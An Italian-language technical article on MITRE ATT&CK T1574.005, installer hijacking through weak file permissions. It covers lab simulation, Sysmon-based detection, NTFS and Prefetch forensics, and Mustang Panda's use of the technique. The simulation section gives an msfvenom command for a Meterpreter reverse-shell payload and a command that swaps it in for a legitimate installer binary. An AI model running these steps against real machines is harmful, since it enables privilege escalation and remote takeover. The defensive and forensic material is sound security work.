Installer Hijacking: Executable Installer File Permissions Weakness (T1574.005)

La simulazione di questa tecnica in laboratorio si articola in tre fasi: enumerazione delle debolezze nei permessi, sostituzione del binario e verifica dell'esecuzione in contesto elevato. Il prerequisito è un accesso utente standard sulla macchina target con almeno un installer vulnerabile presente.

Fase 1 — Enumerazione dei permessi deboli. Il modulo PowerUp del framework PowerSploit (open source) è lo strumento di riferimento. Dalla PowerShell, il cmdlet Invoke-AllChecks scandaglia il sistema alla ricerca di servizi, directory di installazione e binari con ACL permissive. Per un controllo più granulare su directory specifiche, lo strumento AccessChk della suite Sysinternals (gratuito) permette di verificare chi ha accesso in scrittura:

accesschk.exe -wvu "C:\Program Files\TargetApp" -accepteula

Il flag -w filtra solo i permessi di scrittura, -v offre output verboso e -u sopprime gli errori. Se l'output mostra RW per il gruppo BUILTIN\Users o Everyone, la directory è vulnerabile.

Per analizzare le directory temporanee usate dagli installer, si può monitorare in tempo reale con Process Monitor (gratuito) filtrando per operazioni CreateFile nel percorso %TEMP% durante l'esecuzione di un installer. Questo rivela esattamente dove vengono estratti i binari e con quali permessi.

Fase 2 — Sostituzione del binario. Identificato il target, si genera un payload con msfvenom (open source, parte di Metasploit Framework):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP_LAB> LPORT=4444 -f exe -o payload.exe

Il binario risultante va rinominato con il nome esatto dell'eseguibile legittimo e copiato nella directory vulnerabile prima che l'installer lo invochi. La tempistica è critica: in ambiente lab, si può inserire un breakpoint con un debugger o semplicemente pre-posizionare il file nella directory prima di lanciare l'installazione.

copy /Y payload.exe "%TEMP%\InstallerSubdir\targetbinary.exe"

Fase 3 — Verifica del contesto di esecuzione. Una volta che l'installer esegue il binario sostituito, la sessione Meterpreter risultante dovrebbe operare con i privilegi del processo padre. Il comando getuid nella console Meterpreter confermerà se l'escalation a NT AUTHORITY\SYSTEM è avvenuta.

Un approccio alternativo senza Metasploit consiste nell'usare un semplice eseguibile che scriva il proprio token di sicurezza su file, verificabile poi con whoami /priv dal contesto del processo figlio. In ambienti red team strutturati, tool come SharpUp (open source) offrono un'enumerazione analoga a PowerUp ma in C#, utile per evadere policy che bloccano PowerShell.

La detection di questa tecnica si basa su un principio chiave: correlare la scrittura di un file eseguibile in directory sensibili con la successiva esecuzione di quel file in un contesto di privilegi elevato. La strategia di detection AN0108 indica come log source primario Sysmon (gratuito), e questo è il punto di partenza.

Il canale da monitorare è WinEventLog:Sysmon. L'evento Sysmon Event ID 11 (FileCreate) cattura la creazione di file in directory specifiche, mentre l'Event ID 1 (ProcessCreate) registra l'esecuzione successiva con dettagli su utente, integrità del token e processo padre. La correlazione tra questi due eventi è il cuore della regola.

La configurazione Sysmon deve includere filtri per le directory monitorate. Le più critiche sono %TEMP% e le sue sottodirectory, C:\ProgramData, e i percorsi di estrazione degli installer. Una regola SIEM efficace verifica che un file .exe o .dll scritto in queste directory da un processo utente standard venga poi caricato o eseguito da un processo con IntegrityLevel High o System entro una finestra temporale configurabile — i tuning notes indicano il parametro TimeWindow come leva fondamentale per bilanciare precisione e volume degli alert.

Il parametro HashBaseline suggerito nella detection è altrettanto prezioso. Mantenere un inventario degli hash noti dei binari legittimi estratti dagli installer aziendali consente di generare alert solo quando il file scritto ha un hash sconosciuto. Strumenti come osquery (open source) possono alimentare questo baseline con query periodiche sulla tabella hash dei file nelle directory monitorate.

I falsi positivi sono il nemico principale. Gli installer legittimi scrivono ed eseguono file in %TEMP% continuamente. Il filtro UserContext discrimina tra un amministratore che lancia un'installazione approvata e un utente standard che scrive un eseguibile in una directory di installer. Correlare con l'Event ID 4688 del Security log (processo creation con token elevation type) aggiunge un ulteriore livello di contesto.

Per i controlli preventivi, le mitigazioni indicano due leve operative. Il User Account Control va configurato per negare automaticamente le richieste di elevazione agli utenti standard, impostando il valore ConsentPromptBehaviorUser a 0 nel registro di sistema. Abilitare l'Installer Detection con EnableInstallerDetection a 1 forza una richiesta di credenziali per ogni installazione e registra il tentativo nei log. Queste configurazioni si distribuiscono via GPO e non richiedono agent aggiuntivi.

L'analisi forense di un attacco basato su installer hijacking ruota attorno a tre classi di artefatti: tracce del file system, evidenze di esecuzione e record dei permessi. La sfida è ricostruire la sequenza temporale tra la scrittura del binario malevolo e la sua esecuzione in contesto elevato.

Il primo artefatto da acquisire è il contenuto della directory %TEMP% dell'utente coinvolto e di tutti i profili presenti sulla macchina. Molti installer self-extracting creano sottodirectory con nomi prevedibili (spesso contenenti il nome del prodotto o stringhe casuali generate dal framework di installazione). Il timestamp NTFS del file sospetto — in particolare il $STANDARD_INFORMATION e il $FILE_NAME nella MFT — rivela se il file è stato creato durante un'installazione legittima o scritto separatamente. Discrepanze tra i due timestamp sono un indicatore di timestomping.

Per estrarre la MFT e analizzare i timestamp, MFTECmd di Eric Zimmerman (open source) è lo strumento di riferimento:

MFTECmd.exe -f "C:$MFT" --csv "C:\ForensicOutput" --csvf mft_output.csv

L'output CSV permette di filtrare per percorso %TEMP% e ordinare cronologicamente le creazioni di file attorno al momento dell'installazione sospetta.

Il secondo pilastro è il Prefetch. Il file .pf dell'installer legittimo (es. IRSETUP.EXE-{hash}.pf, come nel caso documentato di Mustang Panda che ha sfruttato l'eseguibile Setup Factory "IRSetup.exe") contiene l'elenco delle DLL e dei file referenziati durante l'esecuzione. Confrontando questo elenco con i binari effettivamente presenti nella directory di estrazione, si può identificare quale file è stato sostituito. PECmd (open source) di Eric Zimmerman analizza i file Prefetch:

PECmd.exe -f "C:\Windows\Prefetch\IRSETUP.EXE-XXXXXXXX.pf"

Il terzo elemento è la catena di esecuzione nei log Sysmon, se disponibili. L'Event ID 1 mostra il processo padre (l'installer), il processo figlio (il binario sostituito) e il livello di integrità. L'Event ID 7 (Image Loaded) rivela quali DLL sono state caricate dal processo, permettendo di identificare eventuali DLL hijacking collaterali.

Sul piano dei permessi, le DACL del file e della directory al momento dell'incidente vanno preservate. Il comando icacls su un'immagine forense montata mostra le ACL correnti, ma è preferibile acquisire il descrittore di sicurezza direttamente dalla MFT, dove è registrato nell'attributo $SECURITY_DESCRIPTOR. Questo garantisce che eventuali modifiche post-incidente non inquinino l'evidenza.

Infine, i log Windows Installer (%WINDIR%\Installer\*.log e i log MSI in %TEMP%) documentano l'intera sequenza dell'installazione, inclusi percorsi di estrazione e operazioni su file. Questi log, correlati con la timeline MFT, chiudono il cerchio investigativo.

Il panorama degli attori che sfruttano le debolezze nei permessi degli installer è ristretto ma significativo, e il profilo documentato rivela un pattern operativo preciso.

Mustang Panda (G0129) è il gruppo di riferimento per questa tecnica. L'attore, noto per campagne di spionaggio con focus geografico sul Sud-Est asiatico e sull'Europa, ha dimostrato una predilezione per l'abuso di installer legittimi come vettore di delivery. Nel caso documentato, il gruppo ha sfruttato l'eseguibile Setup Factory "IRSetup.exe" — un framework di installazione commerciale ampiamente diffuso — per rilasciare ed eseguire il proprio payload. Questa scelta non è casuale: l'uso di un installer riconoscibile riduce i sospetti durante l'analisi superficiale e sfrutta la fiducia che utenti e sistemi di sicurezza ripongono nei processi di installazione software.

Il pattern operativo di Mustang Panda suggerisce un approccio più ampio di "living off legitimate installers". Il gruppo non sviluppa exploit per vulnerabilità specifiche nei permessi, ma seleziona installer il cui comportamento predefinito — estrazione di file in directory temporanee con ACL permissive — crea naturalmente la condizione di sfruttamento. Questo abbassa la barriera tecnica e rende la tecnica riutilizzabile su target diversi senza necessità di customizzazione.

Dal punto di vista dell'analisi predittiva, la tecnica T1574.005 presenta caratteristiche che la rendono attraente per gruppi con obiettivi di accesso persistente e a lungo termine. L'intersezione con tre tattiche — persistenza, escalation e evasion — offre un rapporto costo-beneficio elevato: un singolo vettore risolve tre problemi operativi contemporaneamente. Per il threat intelligence officer, questo significa che qualsiasi attore orientato allo spionaggio che già utilizzi tecniche di hijacking del flusso di esecuzione (la famiglia T1574) potrebbe incorporare questa variante con minimo sforzo.

Il monitoraggio dovrebbe concentrarsi sui bollettini di sicurezza dei principali framework di installazione — Setup Factory, Inno Setup, NSIS, InstallShield — poiché ogni nuova vulnerabilità nei permessi di estrazione rappresenta un'opportunità operativa per gli attori avversari. L'incrocio tra la telemetria sugli installer vulnerabili presenti nell'infrastruttura aziendale e i tool noti degli APT tracciati costituisce una prioritizzazione efficace del rischio.

Framework MITRE ATT&CK v16 — Tecnica T1574.005, Gruppo G0129, Mitigazioni M1047, M1052, M1018, Detection AN0108. Tool di detection e analisi: Sysmon, AccessChk, Process Monitor, PowerSploit/PowerUp, MFTECmd, PECmd, osquery. Integrato con conoscenza professionale per tool e procedure operative.